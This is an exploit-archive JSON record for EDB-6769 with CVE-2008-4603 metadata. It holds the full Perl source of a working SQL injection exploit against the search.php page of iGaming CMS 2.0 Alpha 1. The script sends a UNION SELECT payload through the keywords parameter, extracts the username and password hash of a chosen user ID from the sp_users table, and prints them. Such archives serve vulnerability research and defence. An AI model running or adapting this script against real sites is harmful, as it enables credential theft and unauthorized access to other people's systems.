{"exploit":{"id":"EDB-6769","name":"iGaming CMS 2.0 Alpha 1 - 'search.php' SQL Injection (SQLi)","description":"iGaming CMS 2.0 Alpha 1 - 'search.php' SQL Injection (SQLi)","cves":["CVE-2008-4603"],"author":"StAkeR","published":"2008-10-16","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6769","path":"exploits/php/webapps/6769.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6769.pl","vulnerabilities":[{"id":"CVE-2008-4603","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in search.php in iGaming CMS 2.0 Alpha 1 allows remote attackers to execute arbitrary SQL commands via the keywords parameter in a search_games action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4603","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4603"},"updatedAt":"2024-08-07T10:24:21.060Z","retrievedAt":"2026-11-26T23:10:38.523Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6769.png?v=2","url":"https://exploitbin.com/exploits/EDB-6769","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6769/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6769/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# -----------------------------------------------------\n# iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit\n# By StAkeR aka athos - StAkeR[at]hotmail[dot]it\n# On 16/10/2008\n# http://www.igamingcms.com/iGaming_2_Alpha.zip\n# -----------------------------------------------------\n\nuse strict;\nuse LWP::UserAgent;\n\n\nmy ($host,$id) = @ARGV;\n\nusage() unless $host =~ /http:\\/\\/(.+?)$/ and $id =~ /^[0-9]/;\n\nmy $etc = \"' union select 1,concat(0x616E6172636879,\".\n          \"password,0x3a,username,0x616E6172636879),3\".\n          \",4,5 from sp_users where id=$id#\";\n\nmy @search = ($etc,'all',0,'Search','search_games');\nmy @split = undef;\n\nmy $http = new LWP::UserAgent;\nmy $post = $http->post($host.'/search.php',\n                      [\n                       keywords => $search[0],\n                       platform => $search[1],\n                       exact    => $search[2],\n                       submit   => $search[3],\n                       do       => $search[4]\n                     ]);\n\nif($post->is_success)\n{\n  if($post->as_string =~ /anarchy(.+?)anarchy/)\n  {\n    @split = split(':',$1);\n\n    print \"Username: $split[0]\\r\\n\";\n    print \"Password: $split[1]\\r\\n\";\n  }\n  else\n  {\n    print \"Exploit Failed!\\r\\n\";\n  }\n}\n\nsub usage\n{\n  print \"iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit\\r\\n\";\n  print \"Usage: perl $0 http://[host] [user_id]\\r\\n\";\n  exit;\n}\n\n\n\n__END__\n\n# milw0rm.com [2008-10-16]","sha256":"f9ac363d499121755120f41eff67024731896eebfda648a55e8dfc2943f6c11b","bytes":1426,"fetchedAt":"2026-11-26T23:10:35.162Z","encoding":"utf-8 (display only; download retains original bytes)"}